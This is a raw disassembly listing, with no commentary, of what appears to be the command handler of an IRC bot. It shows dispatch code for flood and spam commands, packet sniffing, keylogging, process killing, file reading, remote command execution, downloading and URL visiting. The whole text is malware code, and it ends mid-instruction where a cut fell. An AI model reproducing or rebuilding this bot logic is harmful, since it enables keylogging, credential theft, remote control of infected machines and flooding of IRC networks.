call sub_41B980 add esp, 0Ch lea eax, [ebp+var_14F4] push esi push edi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push [ebp+arg_10] push 10h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push eax lea eax, [ebp+var_2C4] push offset unk_42B5B0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B0F6 add esp, 18h mov [ebp+var_13E8], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1504] push ebx push eax push offset byte_40B8A1 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_13E8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404BE6 loc_404BD0: ; CODE XREF: sub_401ACD+3117j cmp [ebp+var_13DC], ebx jnz loc_40828B push 32h nop call near ptr 2670ECAh jmp short loc_404BD0 ; --------------------------------------------------------------------------- loc_404BE6: ; CODE XREF: sub_401ACD+3101j nop call near ptr 2680925h push eax push offset unk_42B570 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_404BF7: ; CODE XREF: sub_401ACD+3036j push edi push offset aReconnect_in ; "reconnect.in" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aRin ; "rin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push edi push offset aRinms ; "rinms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41C070 mov edi, dword_427078 pop ecx test eax, eax pop ecx jnz loc_4057DE nop call near ptr 269061Dh push eax call sub_41B8D8 push [ebp+arg_10] push offset aLoad ; "load" call sub_41C070 add esp, 0Ch test eax, eax jnz short loc_404CFD cmp [ebp+esi+var_80], ebx jz short loc_404CFD push [ebp+esi+var_80] call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_417A5F add esp, 0Ch lea eax, [ebp+var_2C4] push [ebp+esi+var_84] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42B508 push eax call sub_41B886 add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404CFD push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404CFD: ; CODE XREF: sub_401ACD+31B9j ; sub_401ACD+31BFj ... push [ebp+arg_10] push offset dword_42B504 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404D69 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D69 push offset asc_42CA34 ; " " push offset dword_42B500 push eax call sub_417EEE push eax lea eax, [ebp+var_50F4] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_50F4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4F0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404D69: ; CODE XREF: sub_401ACD+3241j ; sub_401ACD+324Cj push [ebp+arg_10] push offset dword_42B4EC call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404DD5 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DD5 push offset asc_42CA34 ; " " push offset dword_42B500 push eax call sub_417EEE push eax lea eax, [ebp+var_4BF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4BF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4D8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404DD5: ; CODE XREF: sub_401ACD+32ADj ; sub_401ACD+32B8j push [ebp+arg_10] push offset aNt ; "nt" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404E41 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E41 push offset asc_42CA34 ; " " push offset dword_42B500 push eax call sub_417EEE push eax lea eax, [ebp+var_46EC] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_46EC] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404E41: ; CODE XREF: sub_401ACD+3319j ; sub_401ACD+3324j push [ebp+arg_10] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EAD mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404EAD push offset asc_42CA34 ; " " push offset dword_42B500 push eax call sub_417EEE push eax lea eax, [ebp+var_4DF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4DF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404EAD: ; CODE XREF: sub_401ACD+3385j ; sub_401ACD+3390j push [ebp+arg_10] push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EEC mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404EEC push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404EEC: ; CODE XREF: sub_401ACD+33F1j ; sub_401ACD+33FCj push [ebp+arg_10] push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F2B mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F2B push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404F2B: ; CODE XREF: sub_401ACD+3430j ; sub_401ACD+343Bj push [ebp+arg_10] push offset aPartflood ; "partflood" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F6F mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F6F push offset aCyber ; "CYBER" push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404F6F: ; CODE XREF: sub_401ACD+346Fj ; sub_401ACD+347Aj push [ebp+arg_10] push offset aPnick ; "pnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404FE8 cmp [ebp+esi+var_88], ebx jz short loc_404FE8 call near ptr 269061Dh nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B4] push edx push [ebp+esi+var_88] push offset dword_42B468 push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_17B4] push eax lea eax, [ebp+var_2C4] push offset dword_42B460 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404FE8: ; CODE XREF: sub_401ACD+34B3j ; sub_401ACD+34BCj push [ebp+arg_10] push offset dword_42B454 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405135 cmp [ebp+esi+var_88], ebx jz loc_405135 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber ; "CYBER" push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 0C8h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405135: ; CODE XREF: sub_401ACD+352Cj ; sub_401ACD+3539j push [ebp+arg_10] push offset dword_42B450 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4051CF cmp [ebp+esi+var_88], ebx jz short loc_4051CF call near ptr 269061Dh nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42B428 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 24h loc_4051CF: ; CODE XREF: sub_401ACD+3679j ; sub_401ACD+3686j push [ebp+arg_10] push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4052D1 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_4052D1 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 lea eax, [ebp+var_4BC] push eax call sub_417ADD add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B460 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B460 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 1F4h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B460 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_4052D1: ; CODE XREF: sub_401ACD+3713j ; sub_401ACD+3722j push [ebp+arg_10] push offset aChgnick ; "chgnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405318 lea eax, [ebp+var_1808] push eax call sub_417ADD pop ecx lea eax, [ebp+var_1808] push eax lea eax, [ebp+var_2C4] push offset dword_42B460 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_405318: ; CODE XREF: sub_401ACD+3815j push [ebp+arg_10] push offset aMsg ; "msg" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405407 cmp [ebp+esi+var_88], ebx jz loc_405407 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset dword_42B4F0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4F0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4F0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405407: ; CODE XREF: sub_401ACD+385Cj ; sub_401ACD+3869j push [ebp+arg_10] push offset aNotice_0 ; "notice" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4054F6 cmp [ebp+esi+var_88], ebx jz loc_4054F6 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_4054F6: ; CODE XREF: sub_401ACD+394Bj ; sub_401ACD+3958j push [ebp+arg_10] push offset aCtcp ; "ctcp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40560D cmp [ebp+esi+var_88], ebx jz loc_40560D push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B3E0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3C8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3B0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3B0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_40560D: ; CODE XREF: sub_401ACD+3A3Aj ; sub_401ACD+3A47j push [ebp+arg_10] push offset aMix ; "mix" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405733 cmp [ebp+esi+var_88], ebx jz loc_405733 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B3E0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405733: ; CODE XREF: sub_401ACD+3B51j ; sub_401ACD+3B5Ej push [ebp+arg_10] push offset aRegister ; "register" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405779 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_405779 push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405779: ; CODE XREF: sub_401ACD+3C77j ; sub_401ACD+3C82j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4062C3 mov edi, offset dword_4D400C loc_405795: ; CODE XREF: sub_401ACD+3CE7j cmp dword ptr [edi-4], 1 jnz short loc_4057A8 mov eax, [edi] cmp eax, ebx jbe short loc_4057A8 push eax call dword_4CB00C loc_4057A8: ; CODE XREF: sub_401ACD+3CCCj ; sub_401ACD+3CD2j add edi, 210h cmp edi, offset dword_4DA72C jl short loc_405795 cmp [ebp+var_8], ebx jnz loc_4062C3 push ebx push [ebp+var_4] push offset unk_42B350 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4062C3 ; --------------------------------------------------------------------------- loc_4057DE: ; CODE XREF: sub_401ACD+3195j mov edi, [ebp+arg_8] push edi push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aN ; "n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aJ ; "j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aPt ; "pt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aRaw ; "raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aKillthread ; "killthread" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aK ; "k" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aC_quit ; "c_quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_q ; "c_q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_rndnick ; "c_rndnick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aC_rn ; "c_rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aPrefix ; "prefix" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aPr ; "pr" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aOpen ; "open" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aO ; "o" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aServer ; "server" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aSe ; "se" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aDns ; "dns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aDn ; "dn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aKillproc ; "killproc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKp ; "kp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKill ; "kill" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aKi ; "ki" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aDel ; "del" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aGet ; "get" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aGt ; "gt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aList ; "list" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aLi ; "li" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aVisit ; "visit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aV ; "v" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aMirccmd ; "mirccmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aMirc ; "mirc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aCmd ; "cmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aCm ; "cm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aReadfile ; "readfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aRf ; "rf" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aPsniff ; "psniff" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C7B push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C41 push 20h call sub_40B33E test eax, eax pop ecx jle short loc_405B6B push offset dword_42B250 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405B6B: ; CODE XREF: sub_401ACD+4092j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC4], eax mov eax, [ebp+var_4] mov [ebp+var_E3C], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E38], eax jnz short loc_405BAD mov esi, offset aF_1 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405BAD mov esi, [ebp+var_88] loc_405BAD: ; CODE XREF: sub_401ACD+40C2j ; sub_401ACD+40D8j push esi lea eax, [ebp+var_EC0] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B220 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_E40], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC4] push ebx push eax push offset byte_411FD5 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_E40] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_405C30 loc_405C1A: ; CODE XREF: sub_401ACD+4161j cmp [ebp+var_E34], ebx jnz loc_40828B push 32h call near ptr 2670ECAh nop jmp short loc_405C1A ; --------------------------------------------------------------------------- loc_405C30: ; CODE XREF: sub_401ACD+414Bj nop call near ptr 2680925h push eax push offset dword_42B1E4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C41: ; CODE XREF: sub_401ACD+4082j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 20h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405C71 push eax push offset dword_42B1A8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C71: ; CODE XREF: sub_401ACD+4197j push offset dword_42B17C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405C7B: ; CODE XREF: sub_401ACD+406Bj push edi push offset aSniffer ; "sniffer" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405DCD push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405D93 push 21h call sub_40B33E test eax, eax pop ecx jle short loc_405CBD push offset unk_42B154 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405CBD: ; CODE XREF: sub_401ACD+41E4j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_FEC], eax mov eax, [ebp+var_4] mov [ebp+var_F64], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_F60], eax jnz short loc_405CFF mov esi, offset aF_1 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405CFF mov esi, [ebp+var_88] loc_405CFF: ; CODE XREF: sub_401ACD+4214j ; sub_401ACD+422Aj push esi lea eax, [ebp+var_FE8] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset unk_42B124 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_F68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FEC] push ebx push eax push offset sub_412660 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_F68] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_405D82 loc_405D6C: ; CODE XREF: sub_401ACD+42B3j cmp [ebp+var_F5C], ebx jnz loc_40828B push 32h nop call near ptr 2670ECAh jmp short loc_405D6C ; --------------------------------------------------------------------------- loc_405D82: ; CODE XREF: sub_401ACD+429Dj call near ptr 2680925h nop push eax push offset unk_42B0E8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405D93: ; CODE XREF: sub_401ACD+41D4j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 21h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405DC3 push eax push offset unk_42B0A8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405DC3: ; CODE XREF: sub_401ACD+42E9j push offset unk_42B078 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405DCD: ; CODE XREF: sub_401ACD+41BDj push edi push offset aIdent ; "ident" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405EA2 push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405E68 push 2 call sub_40B33E test eax, eax pop ecx jle short loc_405E0B push offset dword_42B050 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405E0B: ; CODE XREF: sub_401ACD+4332j lea eax, [ebp+var_2C4] push offset dword_42B024 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset loc_4101FC push ebx push ebx nop call near ptr 2680000h imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz loc_40828B nop call near ptr 2680925h push eax push offset dword_42AFF0 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E68: ; CODE XREF: sub_401ACD+4326j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 2 call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405E98 push eax push offset dword_42AFB8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E98: ; CODE XREF: sub_401ACD+43BEj push offset dword_42AF98 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405EA2: ; CODE XREF: sub_401ACD+430Fj push edi push offset aKeylog ; "keylog" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40601F push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx mov edi, offset aFile ; "file" test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 23h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405F0E push eax push offset dword_42AF4C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405F0E: ; CODE XREF: sub_401ACD+4434j push offset dword_42AF20 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F18: ; CODE XREF: sub_401ACD+4400j ; sub_401ACD+440Fj push 23h call sub_40B33E test eax, eax pop ecx jle short loc_405F2E push offset dword_42AF00 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F2E: ; CODE XREF: sub_401ACD+4455j mov eax, [ebp+arg_4] push [ebp+arg_10] mov [ebp+var_C5C], eax mov eax, [ebp+var_4] push edi mov [ebp+var_BD4], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F5B mov [ebp+var_BD0], 1 jmp short loc_405F64 ; --------------------------------------------------------------------------- loc_405F5B: ; CODE XREF: sub_401ACD+4480j mov eax, [ebp+var_8] mov [ebp+var_BD0], eax loc_405F64: ; CODE XREF: sub_401ACD+448Cj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_405F8B mov esi, offset aF_0 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F8B mov esi, [ebp+var_88] loc_405F8B: ; CODE XREF: sub_401ACD+44A0j ; sub_401ACD+44B6j push esi lea eax, [ebp+var_C54] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42AEDC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 23h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_C58], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C5C] push ebx push eax push offset dword_411CF4 push ebx push ebx call near ptr 